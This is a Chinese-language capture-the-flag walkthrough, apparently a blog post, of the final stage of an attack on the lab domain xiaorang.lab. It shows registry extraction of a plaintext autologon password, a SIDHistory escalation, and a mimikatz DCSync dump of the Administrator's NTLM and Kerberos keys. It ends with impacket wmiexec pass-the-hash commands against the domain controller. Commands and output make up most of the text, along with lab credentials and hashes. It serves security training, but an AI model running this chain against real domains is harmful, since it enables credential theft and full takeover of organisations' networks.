PS C:\Users\wenshao\Desktop> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
>>

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
AutoRestartShell REG_DWORD 0x1
Background REG_SZ 0 0 0
CachedLogonsCount REG_SZ 10
DebugServerCommand REG_SZ no
DisableBackButton REG_DWORD 0x1
EnableSIHostIntegration REG_DWORD 0x1
ForceUnlockLogon REG_DWORD 0x0
LegalNoticeCaption REG_SZ
LegalNoticeText REG_SZ
PasswordExpiryWarning REG_DWORD 0x5
PowerdownAfterShutdown REG_SZ 0
PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk REG_SZ 1
Shell REG_SZ explorer.exe
ShellCritical REG_DWORD 0x0
ShellInfrastructure REG_SZ sihost.exe
SiHostCritical REG_DWORD 0x0
SiHostReadyTimeOut REG_DWORD 0x0
SiHostRestartCountLimit REG_DWORD 0x0
SiHostRestartTimeGap REG_DWORD 0x0
Userinit REG_SZ C:\Windows\system32\userinit.exe,
VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled REG_SZ 0
ShellAppRuntime REG_SZ ShellAppRuntime.exe
scremoveoption REG_SZ 0
DisableCAD REG_DWORD 0x1
LastLogOffEndTimePerfCounter REG_QWORD 0xedd7ccd15
ShutdownFlags REG_DWORD 0x80000027
AutoLogonSID REG_SZ S-1-5-21-3623938633-4064111800-2925858365-1180
LastUsedUsername REG_SZ yuxuan
AutoAdminLogon REG_SZ 1
DefaultUserName REG_SZ yuxuan
DefaultPassword REG_SZ Yuxuan7QbrgZ3L
DefaultDomainName REG_SZ xiaorang.lab

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserDefaults
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey
1
2
3
DefaultUserName    REG_SZ    yuxuan
DefaultPassword REG_SZ Yuxuan7QbrgZ3L
DefaultDomainName REG_SZ xiaorang.lab

重新利用yuxuan登录

hassidhistory

前面还有yuxuan包含了域管的SID,所以我们也有与域管相同的特权与权利

SIDHistory 是 Windows 操作系统中 Active Directory (AD) 用于存储历史安全标识符(SID)的属性。它允许用户、组或计算机对象在变更或迁移时保持旧的 SID,从而保持与先前身份相关的权限和访问控制。这对进行域迁移或升级时非常有用,避免了权限丢失。

  1. HasSIDHistory

如果源主体在其 SIDHistory 属性中包含了目标主体的 SID。
当为源主体创建 Kerberos 票据时,该票据将包含目标主体的 SID,从而授予源主体与目标主体相同的权限和特权。

1
2
[i] SIDHistory Users: 1 found
[+] yuxuan ==>>> Administrator

https://www.c1trus.top/24-%E6%B8%97%E9%80%8F%E5%A7%BF%E5%8A%BF%E5%BA%93/hassidhistory.html#_0

那么该用户可以进行DCSync攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
Using '1.txt' for logfile : OK

mimikatz # lsadump::dcsync /domain:xiaorang.lab /user:administrator
[DC] 'xiaorang.lab' will be the domain
[DC] 'DC-PROGAME.xiaorang.lab' will be the DC server
[DC] 'administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN : Administrator

** SAM ACCOUNT **

SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration : 1601/1/1 8:00:00
Password last change : 2025/5/30 22:03:13
Object Security ID : S-1-5-21-3623938633-4064111800-2925858365-500
Object Relative ID : 500

Credentials:
Hash NTLM: 04d93ffd6f5f6e4490e0de23f240a5e9

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : a3bff6b37d713aab3129f1ad436a724a

* Primary:Kerberos-Newer-Keys *
Default Salt : XIAORANG.LABAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : a7c1e1940765d04f18ac3a43d09588e96af827808f921e5855730a2a050ef007
aes128_hmac (4096) : 3c7453f1f392a7f8c1af77696a160f2d
des_cbc_md5 (4096) : a8e0b35eefe9d3d0
OldCredentials
aes256_hmac (4096) : a7c1e1940765d04f18ac3a43d09588e96af827808f921e5855730a2a050ef007
aes128_hmac (4096) : 3c7453f1f392a7f8c1af77696a160f2d
des_cbc_md5 (4096) : a8e0b35eefe9d3d0

* Primary:Kerberos *
Default Salt : XIAORANG.LABAdministrator
Credentials
des_cbc_md5 : a8e0b35eefe9d3d0
OldCredentials
des_cbc_md5 : a8e0b35eefe9d3d0

* Packages *
NTLM-Strong-NTOWF

* Primary:WDigest *
01 0f7990fa51442d1fc1b9f5703b7a9f53
02 f8f3ab7a545c3df42068692e22e5fd1a
03 63b49f8e791de04010e0d3838864fb5d
04 0f7990fa51442d1fc1b9f5703b7a9f53
05 7c94fce5f59a52edc7c941683f529315
06 db3d41291d2865f07788fcd0878e9048
07 8cffc17d1ac652e058047f177988f94f
08 e0204b55258553e92222b39548b6bf64
09 c024e8558b548d9ed0dac80cb3937227
10 a55582f6895260bfb4c18eccc5e43639
11 23cd59de8b7fc224a076a0f3001afbfa
12 e0204b55258553e92222b39548b6bf64
13 b4716b4fe3233db5dd79d97fe470a11b
14 b6b21073a6bd20a1ef665cbdf3633bc9
15 472854e67b07839a52b40ddeec245582
16 d47433701f75461a006ab9a73a7ba33b
17 7655b2aeae13a52426da7558382f1e98
18 3c384e9401eb1d0467ee29affd959e98
19 a68e52c5f665ac7f178061a140670af0
20 51a1204a8e37e806fdfb16f0c2ffd7cb
21 014900de757e1f20310d8c0d1fb1d812
22 3f683ca0caafbd5e4dee3b919901066d
23 b12255387f518480c552971cbab71ac1
24 6c1b44f40c541a959d45423231dccef4
25 c18dd5d14b73706c6abc66233f42ada8
26 11a8ab9dc7e507ee0d99d3295f7c9e06
27 d5ab194a6f297a6565e230ce525f0539
28 3b50d0aa5201e3e934bccbe200010ddb
29 97bafc631fb4dfe596c1a2c5e0ad19e5


mimikatz #

上传mimikatz读取域管的hash

PTH

1
python D:\red\内网\免杀工具包\免杀工具包\impacket-0.12.0\examples\wmiexec.py xiaorang/administrator@172.22.6.25  -hashes 00000000000000000000000000000000:04d93ffd6f5f6e4490e0de23f240a5e9 -codec gbk

1
2
3
4
5
6
7
8
9
C:\users\administrator\flag>type flag03.txt
flag03: flag{3fc79cff-8de0-4397-91a4-66c2c283b376}


Maybe you can find something interesting on this server.
=======================================
What you may not know is that many objects in this domain
are moved from other domains.

1
2
3
4
172.22.6.12     DC:DC-PROGAME.xiaorang.lab
172.22.6.25 已拿下 WIN2019.xiaorang.lab
39.98.115.43 172.22.6.36 已拿下 neo4j 未授权rce
172.22.6.38 已利用 web 网站标题 http://172.22.6.38 状态码:200 长度:1531 标题:后台登录
1
python D:\red\内网\免杀工具包\免杀工具包\impacket-0.12.0\examples\wmiexec.py xiaorang/administrator@172.22.6.12  -hashes 00000000000000000000000000000000:04d93ffd6f5f6e4490e0de23f240a5e9 -codec gbk

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\users\administrator\flag>type flag04.txt
Awesome! you got the final flag.

:::::::::::::::::::::::::: :::: ::::::::::
:+: :+: +:+:+: :+:+:+:+:
+:+ +:+ +:+ +:+:+ +:++:+
+#+ +#+ +#+ +:+ +#++#++:++#
+#+ +#+ +#+ +#++#+
#+# #+# #+# #+##+#
### ############## #############


flag04: flag{48aa6b81-da4c-4f53-b90a-95e3460eaf84}
1
2
3
4
172.22.6.12  已拿下   DC:DC-PROGAME.xiaorang.lab
172.22.6.25 已拿下 WIN2019.xiaorang.lab
39.98.115.43 172.22.6.36 已拿下 neo4j 未授权rce
172.22.6.38 已利用 web 网站标题 http://172.22.6.38 状态码:200 长度:1531 标题:后台登录